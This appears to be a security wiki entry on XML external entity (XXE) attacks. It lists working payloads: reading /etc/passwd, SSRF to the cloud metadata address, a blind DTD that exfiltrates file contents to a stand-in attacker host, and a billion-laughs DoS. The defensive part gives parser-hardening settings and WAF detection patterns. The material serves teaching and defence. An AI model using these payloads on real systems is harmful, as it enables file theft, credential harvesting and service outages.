XML external entity (XXE)
TL;DR: External entity reference in XML parser exfiltrates files, blind OOB, or SSRF.
What it is
XML 1.0 lets a document declare external entities — placeholders whose value comes from a URI fetched by the parser. If the parser resolves them and the document is attacker-controlled, that fetch happens with the privileges of the application: read local files, hit internal services (SSRF), trigger denial-of-service via billion-laughs entity expansion. The class survives because many libraries default to “resolve external entities” — XML parsers, SOAP stacks, SVG renderers, DOCX/XLSX (Office Open XML), SAML processors.
Preconditions / where it applies
- App accepts XML input from a user — REST endpoint, SOAP, SAML response, file upload that internally parses XML (DOCX, SVG, KML, EPUB, RSS)
- Parser configured with external entity resolution on (libxml without
LIBXML_NONET, Java DocumentBuilder defaults, .NET XmlReader pre-4.5.2 defaults, Python lxml withoutresolve_entities=False) - Network path from parser to attacker (for OOB) or file-system path for in-band
Technique
In-band file read:
1
2
3
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>&xxe;</name></root>
If the response echoes name, the file contents appear.
SSRF:
1
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
See ssrf-to-cloud for credential harvesting downstream.
Blind OOB exfil (response doesn’t echo). Host an attacker DTD evil.dtd:
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker/x?d=%file;'>">
%eval;
%exfil;
Reference it from the request:
1
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> %dtd;]>
File content is appended to the attacker-controlled URL.
Parameter entities only. Some parsers reject general external entities but still resolve parameter entities (%name;) — the OOB pattern still works.
Billion laughs / quadratic blow-up DoS:
1
2
3
4
5
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
...
<!ENTITY lol9 "&lol8;...">
<root>&lol9;</root>
Container formats. XXE inside DOCX (word/document.xml), XLSX (xl/workbook.xml), SVG inside an image upload, KML in mapping apps, EPUB, SAML responses (see parser-differential-saml-ruby).
PHP-specific: php://filter/convert.base64-encode/resource=… lets you exfil binary that would otherwise break the XML parser when read as &xxe;.
Detection and defence
- Disable external entities in the parser. Java
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). .NETXmlReaderSettings.DtdProcessing = Prohibit. Pythondefusedxml. PHPlibxml_disable_entity_loader(true)/ useLIBXML_NONET. libxmlLIBXML_NOENTenables expansion — do not confuse. - Reject
DOCTYPEdeclarations server-side before parsing - Egress filter the application from internal networks and metadata
- WAF detection:
<!ENTITY,SYSTEM,file://,http://169.254in XML bodies
References
- PortSwigger — XXE — labs, blind exfil
- OWASP — XXE Prevention Cheat Sheet — per-parser fixes
- PayloadsAllTheThings — XXE — payload library